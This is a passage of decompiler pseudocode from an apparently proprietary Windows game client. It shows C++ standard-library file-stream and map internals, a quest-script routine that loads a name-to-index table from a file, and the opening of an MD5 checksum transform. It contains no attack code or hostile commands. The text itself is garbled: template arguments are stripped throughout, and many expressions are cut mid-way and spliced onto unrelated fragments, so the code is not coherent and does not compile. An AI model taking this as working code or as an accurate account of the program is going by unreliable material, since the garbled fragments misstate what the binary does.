+ 4))); *((_DWORD *)v3 + 10) = (char *)v1 + 8; *((_DWORD *)v3 + 11) = 0; v3[48] = std::basic_ios>::widen((std::basic_ios > *)v3, 32); if ( !*((_DWORD *)v3 + 10) ) std::ios_base::clear((std::ios_base *)v3, *((_DWORD *)v3 + 2) | 4, 0); *((_DWORD *)v3 + 1) = 0; *(_DWORD *)&v1->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v1->___u0.baseclass_0.gap0[0] + 4)] = &std::basic_ifstream>::_vftable_; std::basic_streambuf>::basic_streambuf>((std::basic_streambuf > *)v1->___u0.baseclass_0.gap8); *(_DWORD *)&v1->___u0.baseclass_0.gap8[0] = &std::basic_filebuf>::_vftable_; v1->___u0._s1._Filebuffer._Mystr = 0; v1->___u0._s1._Filebuffer._Closef = 0; v1->___u0._s1._Filebuffer._Wrotesome = 0; std::basic_streambuf>::_Init((std::basic_streambuf > *)v1->___u0.baseclass_0.gap8); v1->___u0._s1._Filebuffer._Myfile = 0; v1->___u0._s1._Filebuffer._State = _Stinit; v1->___u0._s1._Filebuffer._State0 = _Stinit; v1->___u0._s1._Filebuffer._Pcvt = 0; } // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 5BD900: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5E6E08: using guessed type int (__thiscall *std__basic_filebuf_char_std__char_traits_char_____vftable_)(void *p, char); // 5E86A4: using guessed type int (__stdcall *std__basic_ifstream_char_std__char_traits_char_____vftable_)(char); // 146C5FA8: using guessed type int _Stinit; //----- (00573DC0) -------------------------------------------------------- void __thiscall std::basic_ifstream>::_basic_ifstream>(std::basic_ifstream > *this) { char *v1; // esi@1 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 25) + 4) - 100) = &std::basic_ifstream>::_vftable_; v1 = (char *)this - 92; std::basic_filebuf>::_basic_filebuf>((std::basic_filebuf > *)this - 1); *(_DWORD *)&v1[*(_DWORD *)(*((_DWORD *)v1 - 2) + 4) - 8] = std::basic_istream>::_vftable_; } // 5BD900: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5E86A4: using guessed type int (__stdcall *std__basic_ifstream_char_std__char_traits_char_____vftable_)(char); //----- (00573E20) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v3; // ebx@1 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Isnil; v2 = i ) { std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00573E60) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert(...) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v5; // edi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v6; // ecx@4 int v7; // eax@4 int v8; // eax@7 int v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st _Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( *((_DWORD *)this + 2) >= (unsigned int)&wholesaver.ws_savestore[1588].esc_skill.buffer[3202] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(this, *((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 44) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 44) = 1; *(_BYTE *)(v14 + 44) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 44) = 0; v11 = *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 44) = 1; *result = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00574010) -------------------------------------------------------- void __thiscall std::basic_ifstream>::_vbase_destructor(std::basic_ifstream > *this) { std::basic_ios > *v1; // esi@1 v1 = (std::basic_ios > *)this->gap64; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)((char *)this + 100)); std::basic_ios>::_basic_ios>(v1); } //----- (00574030) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::insert(...) { int v3; // ebp@1 std::pair,std::allocator > const ,int> *v4; // ebx@1 char v5; // al@1 std::pair,std::allocator > const ,int> *v6; // edi@1 unsigned int i; // ecx@2 unsigned int v8; // ebx@4 const char *v9; // eax@5 unsigned int v10; // edx@7 int v11; // ecx@10 const char *v12; // esi@13 int v13; // eax@15 bool v14; // sf@15 unsigned __int8 v15; // of@15 signed int v16; // eax@17 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v17; // esi@25 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v18; // ecx@27 std::pair,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v21; // edx@33 bool _Addleft; // [sp+10h] [bp-14h]@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *thisa; // [sp+14h] [bp-10h]@1 std::pair,std::allocator > const ,int> *_Wherenode; // [sp+20h] [bp-4h]@4 v3 = *(_DWORD *)(*((_DWORD *)this + 1) + 4); v4 = (std::pair,std::allocator > const ,int> *)*((_DWORD *)this + 1); v5 = 1; v6 = _Val; thisa = this; _Addleft = 1; if ( !*(_BYTE *)(v3 + 45) ) { for ( i = _Val->first._Mysize; ; i = _Val->first._Mysize ) { v8 = *(_DWORD *)(v3 + 32); _Wherenode = (std::pair,std::allocator > const ,int> *)v3; if ( *(_DWORD *)(v3 + 36) < 0x10u ) v9 = (const char *)(v3 + 16); else v9 = *(const char **)(v3 + 16); v10 = _Val->first._Mysize; if ( i < _Val->first._Mysize ) v10 = i; if ( !v10 ) goto LABEL_37; v11 = v10; if ( v10 >= v8 ) v11 = *(_DWORD *)(v3 + 32); v12 = (const char *)(v6->first._Myres < 0x10 ? &v6->first._Bx : *(_DWORD *)&v6->first._Bx._Buf[0]); v13 = strncmp(v12, v9, v11); v15 = 0; v14 = v13 < 0; v6 = _Val; if ( !v13 ) { LABEL_37: if ( v10 >= v8 ) v16 = v10 != v8; else v16 = -1; v15 = 0; v14 = v16 < 0; } v5 = v14 ^ v15; _Addleft = v14 ^ v15; v3 = v14 ^ v15 ? *(_DWORD *)v3 : *(_DWORD *)(v3 + 8); if ( *(_BYTE *)(v3 + 45) ) break; } v4 = _Wherenode; this = thisa; } v17 = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)v4; _Val = v4; if ( v5 ) { if ( v4 == **((std::pair,std::allocator > const ,int> ***)this + 1) ) { v18 = *std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert( this, (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&_Val, 1, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocatorfirst = v18; result->second = 1; return v19; } std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&_Val); v17 = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)_Val; } if ( v6->first._Myres < 0x10 ) v20 = (const char *)&v6->first._Bx; else v20 = *(const char **)&v6->first._Bx._Buf[0]; if ( std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)(v17 + 12), 0, *(_DWORD *)(v17 + 32), v20, v6->first._Mysize) >= 0 ) { v19 = result; result->first = v17; result->second = 0; } else { v21 = *std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert( thisa, (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&_Val, _Addleft, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocatorfirst = v21; result->second = 1; } return v19; } //----- (005741B0) -------------------------------------------------------- void *__thiscall std::basic_ifstream>::_vector_deleting_destructor_(std::basic_ifstream > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 100; v3 = (std::basic_ios > *)this; std::basic_ifstream>::_basic_ifstream>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005741E0) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v4; // ebx@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v5; // esi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v6; // edi@1 int v7; // eax@1 int v8; // eax@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v9; // eax@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st j; // eax@7 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = *((_DWORD *)this + 1); if ( _First != *(_DWORD *)v7 || _Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(v5 + 45) ) { v11 = *(_DWORD *)(v5 + 8); if ( *(_BYTE *)(v11 + 45) ) { for ( i = *(_DWORD *)(v5 + 4); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 4) ) { if ( v5 != *(_DWORD *)(i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(_DWORD *)(v5 + 8); for ( j = *(_DWORD *)v11; !*(_BYTE *)(j + 45); j = *(_DWORD *)j ) v5 = j; } } std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase( this, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator > *v7; // eax@8 int v8; // ecx@9 int v9; // edx@12 const char *v10; // eax@12 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int> *v15; // esi@23 bool v16; // al@43 std::basic_string,std::allocator > v17; // [sp-30h] [bp-1F8h]@23 char v18; // [sp-2Ch] [bp-1F4h]@23 int v19; // [sp-1Ch] [bp-1E4h]@23 signed int v20; // [sp-18h] [bp-1E0h]@23 int v21; // [sp-14h] [bp-1DCh]@23 int v22; // [sp-10h] [bp-1D8h]@12 signed int v23; // [sp-Ch] [bp-1D4h]@1 void *v24; // [sp+0h] [bp-1C8h]@12 int _Val2; // [sp+8h] [bp-1C0h]@12 int v26; // [sp+Ch] [bp-1BCh]@1 int nID; // [sp+10h] [bp-1B8h]@23 void *p; // [sp+14h] [bp-1B4h]@23 int v29; // [sp+24h] [bp-1A4h]@23 unsigned int v30; // [sp+28h] [bp-1A0h]@23 int v31; // [sp+2Ch] [bp-19Ch]@23 std::pair,std::allocator >,int> result; // [sp+30h] [bp-198h]@23 std::basic_istream > _Istr; // [sp+50h] [bp-178h]@12 int (__thiscall **v34)(void *, char); // [sp+A4h] [bp-124h]@29 int (__thiscall **v35)(void *, char); // [sp+A8h] [bp-120h]@12 int v36; // [sp+DCh] [bp-ECh]@2 std::basic_ifstream > LoadFile; // [sp+E0h] [bp-E8h]@1 std::basic_string,std::allocator > _Str; // [sp+178h] [bp-50h]@14 void *v39; // [sp+198h] [bp-30h]@8 std::basic_string,std::allocator > strLine; // [sp+19Ch] [bp-2Ch]@7 int v41; // [sp+1BCh] [bp-Ch]@12 int v42; // [sp+1C0h] [bp-8h]@1 const char *v43; // [sp+1C8h] [bp+0h]@1 v23 = 1; v26 = 0; std::basic_ifstream>::basic_ifstream>(&LoadFile); v42 = 0; if ( !std::basic_filebuf>::open( (std::basic_filebuf > *)&LoadFile.___u0.baseclass_0._Chcount, v43, 1, 438) ) { v1 = *(_DWORD *)(v36 + 4); v2 = *(int *)((char *)&LoadFile.___u0.baseclass_0._Chcount + v1); v3 = *(_DWORD *)&LoadFile.___u0.baseclass_0.gap8[v1 + 28]; v4 = (std::ios_base *)((char *)&v36 + v1); v5 = v2 | 2; if ( !v3 ) v5 |= 4u; std::ios_base::clear(v4, v5, 0); } if ( *(_DWORD *)&LoadFile.___u0._s1._Filebuffer._Closef ) { std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase( &CQuestParserScript::m_MapConvertIndexNames, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator>::widen( (std::basic_ios > *)((char *)&v36 + *(_DWORD *)(v36 + 4)), 10); v7 = std::getline_std::allocator>( (std::basic_istream > *)&v36, (std::basic_string,std::allocator > *)&v39, v6); v8 = (int)(v7 ? (std::basic_istream > *)((char *)v7 + *(_DWORD *)(*(_DWORD *)&v7->gap0[0] + 4)) : 0); if ( !((*(_DWORD *)(v8 + 8) & 6) == 0 ? v8 : 0) ) break; _Istr._Chcount = (int)&std::basic_stringstream_std::allocator>::_vbtable_; *(_DWORD *)&_Istr.gap8[4] = &std::basic_stringstream_std::allocator>::_vbtable_; v35 = &std::basic_ios>::_vftable_; _Val2 |= 1u; v22 = 0; LOBYTE(v42) = 2; std::basic_iostream>::basic_iostream>( (std::basic_iostream > *)&_Istr._Chcount, (std::basic_streambuf > *)&_Istr.gap8[8]); v9 = *(_DWORD *)(*(_DWORD *)&_Istr + 4); v41 = 3; *(_DWORD *)&_Istr.gap0[v9] = &std::basic_stringstream_std::allocator>::_vftable_; v24 = &_Istr.gap8[4]; std::basic_streambuf>::basic_streambuf>((std::basic_streambuf > *)&_Istr.gap8[4]); v10 = (const char *)v39; LOBYTE(v41) = 4; *(_DWORD *)&_Istr.gap8[4] = &std::basic_stringbuf_std::allocator>::_vftable_; if ( *(_DWORD *)&strLine._Bx._Buf[12] < 0x10u ) v10 = (const char *)&v39; std::basic_stringbuf_std::allocator>::_Init( (std::basic_stringbuf,std::allocator > *)&_Istr.gap8[4], v10, *(unsigned int *)&strLine._Bx._Buf[8], 0); _Str._Myres = 15; _Str._Mysize = 0; _Str._Bx._Buf[0] = 0; LOBYTE(v41) = 6; std::operator>>_std::allocator>(&_Istr, &_Str); std::basic_istream>::operator>>(&_Istr, &_Val2); if ( !_Str._Mysize ) { if ( _Str._Myres >= 0x10 ) operator delete(*(void **)&_Str._Bx._Buf[0]); _Str._Myres = 15; _Str._Mysize = 0; _Str._Bx._Buf[0] = 0; LOBYTE(v41) = 1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)&v34); v34 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v34); if ( *(_DWORD *)&strLine._Bx._Buf[12] >= 0x10u ) operator delete(v39); *(_QWORD *)&strLine._Bx._Buf[8] = 64424509440i64; LOBYTE(v39) = 0; v41 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)((char *)&LoadFile + 92)); *(_DWORD *)&LoadFile.___u0._s1._Filebuffer._Closef = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&LoadFile.___u0._s1._Filebuffer._Closef); goto LABEL_43; } v11 = std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound( &CQuestParserScript::m_MapConvertIndexNames, &_Str); v24 = v11; if ( v11 == (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myval.first._Mysize, v11->_Myval.first._Myres < 0x10) ? (v13 = (const char *)&v11->_Myval.first._Bx) : (v13 = *(const char **)&v11->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare( &_Str, 0, _Str._Mysize, v13, v12) < 0) ) { v26 = dword_146CFF68; v14 = &v26; } else { v14 = (int *)&v24; } if ( dword_146CFF68 != *v14 ) { if ( _Str._Myres >= 0x10 ) operator delete(*(void **)&_Str._Bx._Buf[0]); _Str._Myres = 15; _Str._Mysize = 0; _Str._Bx._Buf[0] = 0; LOBYTE(v41) = 1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)&v34); v34 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v34); if ( *(_DWORD *)&strLine._Bx._Buf[12] >= 0x10u ) operator delete(v39); *(_QWORD *)&strLine._Bx._Buf[8] = 64424509440i64; LOBYTE(v39) = 0; v41 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)((char *)&LoadFile + 92)); *(_DWORD *)&LoadFile.___u0._s1._Filebuffer._Closef = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&LoadFile.___u0._s1._Filebuffer._Closef); goto LABEL_43; } v21 = _Val2; v24 = &v17; v20 = 15; v19 = 0; v18 = 0; std::basic_string_std::allocator>::assign(&v17, &_Str, 0, 0xFFFFFFFFu); v15 = std::make_pair_std::allocator>_int>(&result, v17, v21); LOBYTE(v41) = 7; v30 = 15; v29 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&nID, &v15->first, 0, 0xFFFFFFFFu); v31 = v15->second; LOBYTE(v41) = 8; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::insert( &CQuestParserScript::m_MapConvertIndexNames, (std::pair,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > const ,int> *)&nID); if ( v30 >= 0x10 ) operator delete(p); v30 = 15; v29 = 0; LOBYTE(p) = 0; if ( result.first._Myres >= 0x10 ) operator delete(*(void **)&result.first._Bx._Buf[0]); result.first._Myres = 15; result.first._Mysize = 0; result.first._Bx._Buf[0] = 0; if ( _Str._Myres >= 0x10 ) operator delete(*(void **)&_Str._Bx._Buf[0]); _Str._Myres = 15; _Str._Mysize = 0; _Str._Bx._Buf[0] = 0; LOBYTE(v41) = 1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)&v34); v34 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v34); } if ( strLine._Mysize >= 0x10 ) operator delete(*(void **)&strLine); strLine._Mysize = 15; *(_DWORD *)&strLine._Bx._Buf[12] = 0; strLine.baseclass_0.___u0.baseclass_0.dummy[0] = 0; v42 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)((char *)&LoadFile + 96)); LoadFile.___u0._s1._Filebuffer._Myfile = (_iobuf *)&std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&LoadFile.___u0._s1._Filebuffer._Myfile); } else { v42 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)((char *)&LoadFile + 96)); LoadFile.___u0._s1._Filebuffer._Myfile = (_iobuf *)&std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&LoadFile.___u0._s1._Filebuffer._Myfile); } LABEL_43: __security_check_cookie(strLine._Myres); return v16; } // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 5BDA20: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); // 5BDB0C: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); // 146CFF68: using guessed type int dword_146CFF68; // 146CFF6C: using guessed type int dword_146CFF6C; //----- (00574880) -------------------------------------------------------- void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::_map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this) { std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *v1; // esi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)this; v1 = this; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st **)&this->gap4[0], *(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&this->gap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (005748B0) -------------------------------------------------------- void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this) { std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *v1; // esi@1 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(&this->baseclass_0); *(_DWORD *)&v1->gap4[0] = v2; v2->_Isnil = 1; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 4) = *(_DWORD *)&v1->gap4[0]; **(_DWORD **)&v1->gap4[0] = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 8) = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)&v1->gap4[4] = 0; } //----- (005748E0) -------------------------------------------------------- void __thiscall CMD5Checksum::_CMD5Checksum(CMD5Checksum *this) { this->vfptr = (CMD5ChecksumVtbl *)&CMD5Checksum::_vftable_; } // 5E86B0: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (005748F0) -------------------------------------------------------- void *__thiscall CMD5Checksum::_vector_deleting_destructor_(CMD5Checksum *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CMD5ChecksumVtbl *)&CMD5Checksum::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5E86B0: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (00574910) -------------------------------------------------------- void __thiscall CMD5Checksum::Transform(CMD5Checksum *this, char *Block) { char *v2; // eax@1 int v3; // esi@1 signed int v4; // edi@1 int v5; // ebx@2 int v6; // edx@2 unsigned int v7; // edi@3 unsigned int v8; // esi@3 unsigned int v9; // edx@3 unsigned int v10; // ecx@3 int v11; // eax@3 int v12; // ecx@3 int v13; // edx@3 unsigned int v14; // ecx@3 int v15; // esi@3 unsigned int v16; // ecx@3 int v17; // edi@3 unsigned int v18; // ecx@3 int v19; // eax@3 int v20; // ecx@3 int v21; // edx@3 unsigned int v22; // ecx@3 int v23; // esi@3 unsigned int v24; // ecx@3 int v25; // edi@3 unsigned int v26; // ecx@3 int v27; // eax@3 int v28; // ecx@3 int v29; // edx@3 unsigned int v30; // ecx@3 int v31; // esi@3 unsigned int v32; // ecx@3 int v33; // edi@3 unsigned int v34; // ecx@3 int v35; // eax@3 int v36; // ecx@3 int v37; // edx@3 int v38; // ebx@3 unsigned int v39; // ecx@3 int v40; // esi@3 signed int v41; // ecx@3 unsigned int v42; // ecx@3 int v43; // edi@3 unsigned int v44; // ebx@3 int v45; // eax@3 int v46; // ecx@3 int v47; // edx@3 unsigned int v48; // ecx@3 int v49; // esi@3 unsigned int v50; // ecx@3 int v51; // edi@3 unsigned int v52; // ecx@3 int v53; // eax@3 char *v54; // ecx@3 int v55; // edx@3 unsigned int v56; // esi@3 unsigned int v57; // ecx@3 int v58; // edi@3 unsigned int v59; // ecx@3 int v60; // eax@3 int v61; // ecx@3 int v62; // edx@3 unsigned int v63; // ecx@3 int v64; // esi@3 unsigned int v65; // ecx@3 int v66; // edi@3 unsigned int v67; // eax@3 int v68; // ecx@3 int v69; // edx@3 unsigned int v70; // ecx@3 int v71; // esi@3 unsigned int v72; // ecx@3 int v73; // edi@3 unsigned int v74; // ecx@3 int v75; // eax@3 unsigned int v76; // edx@3 int v77; // ebx@3 unsigned int v78; // esi@3 int v79; // ecx@3 unsigned int v80; // edi@3 int v81; // edx@3 unsigned int v82; // eax@3 unsigned int v83; // ebx@3 int v84; // edi@3 unsigned int v85; // ecx@3 int v86; // esi@3 unsigned int v87; // ebx@3 int v88; // edx@3 unsigned int v89; // ecx@3 int v90; // eax@3 unsigned int v91; // ecx@3 int v92; // edi@3 unsigned int v93; // esi@3 int v94; // ebx@3 int v95; // ecx@3 unsigned int v96; // edx@3 unsigned int v97; // eax@3 unsigned int v98; // edi@3 int v99; // esi@3 unsigned int v100; // ebx@3 int v101; // edi@3 unsigned int v102; // ecx@3 int v103; // edx@3 unsigned int v104; // ecx@3 int v105; // eax@3 unsigned int v106; // ecx@3 int v107; // esi@3 unsigned int v108; // ecx@3 int v109; // edi@3 unsigned int v110; // ecx@3 int v111; // edx@3 unsigned int v112; // ecx@3 int v113; // eax@3 unsigned int v114; // ecx@3 int v115; // esi@3 unsigned int v116; // ecx@3 int v117; // edi@3 unsigned int v118; // ecx@3 int v119; // edx@3 unsigned int v120; // ecx@3 int v121; // eax@3 unsigned int v122; // ecx@3 int v123; // esi@3 unsigned int v124; // ecx@3 int v125; // edi@3 unsigned int v126; // ecx@3 int v127; // edx@3 unsigned int v128; // ecx@3 int v129; // eax@3 unsigned int v130; // ecx@3 int v131; // esi@3 unsigned int v132; // edi@3 int v133; // ebx@3 unsigned int v134; // edx@3 CMD5Checksum *v135; // [sp+10h] [bp-44h]@1 int X[16]; // [sp+14h] [bp-40h]@1 signed int Blocka; // [sp+58h] [bp+4h]@3 v135 = this; v2 = Block + 2; v3 = (int)X; v4 = 16; do { v5 = (unsigned __int8)*(v2 - 1); BYTE3(v6) = 0; *(_WORD *)((char *)&v6 + 1) = (unsigned __int8)v2[1]; v3 += 4; v2 += 4; LOBYTE(v6) = *(v2 - 4); --v4; *(_DWORD *)(v3 - 4) = (unsigned __int8)*(v2 - 6) | ((v5 | (v6 << 8)) << 8); } while ( v4 ); v7 = this->m_lMD5[1]; v8 = this->m_lMD5[2]; v9 = this->m_lMD5[3]; v10 = this->m_lMD5[0] + X[0] + (v7 & v8 | v9 & 